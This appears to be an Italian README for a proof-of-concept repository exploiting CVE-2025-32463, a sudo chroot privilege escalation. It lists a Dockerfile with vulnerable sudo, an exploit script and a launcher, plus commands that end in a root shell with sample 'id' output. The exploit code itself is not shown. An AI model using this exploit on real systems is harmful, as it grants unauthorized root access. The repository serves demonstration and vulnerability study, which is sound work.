zhaduchanhzz/cve-2025-32463_pocExploit proof-of-concept per CVE-2025-32463, una vulnerabilità di escalation dei privilegi nella funzione chroot di sudo. Include un ambiente Docker e uno script di exploit per ottenere una shell di root.
Questo repository fornisce un ambiente minimale e riproducibile per dimostrare la vulnerabilità di escalation dei privilegi CVE‑2025‑32463 nella funzionalità chroot di sudo.
| File | Scopo |
|---|---|
| Dockerfile | Crea un'immagine Ubuntu 24.04 con sudo 1.9.16p2 vulnerabile e strumenti di compilazione |
| sudo‑chwoot.sh | Exploit proof‑of‑concept che lancia una shell root all'interno del chroot |
| run.sh | Script di supporto che costruisce l'immagine (se necessario) e avvia il container con l'exploit |
Le versioni vulnerabili di sudo 1.9.14 fino a 1.9.17 (tutte le revisioni p) sulla maggior parte delle distribuzioni Linux sono interessate.
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh
# 3 – run exploit in container (drops you into a root shell)
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
run.sh passa --privileged e --rm a Docker in modo che il container si pulisca da solo quando si esce.
Rimuovi l'immagine dopo l'uso:
docker rmi sudo-chwoot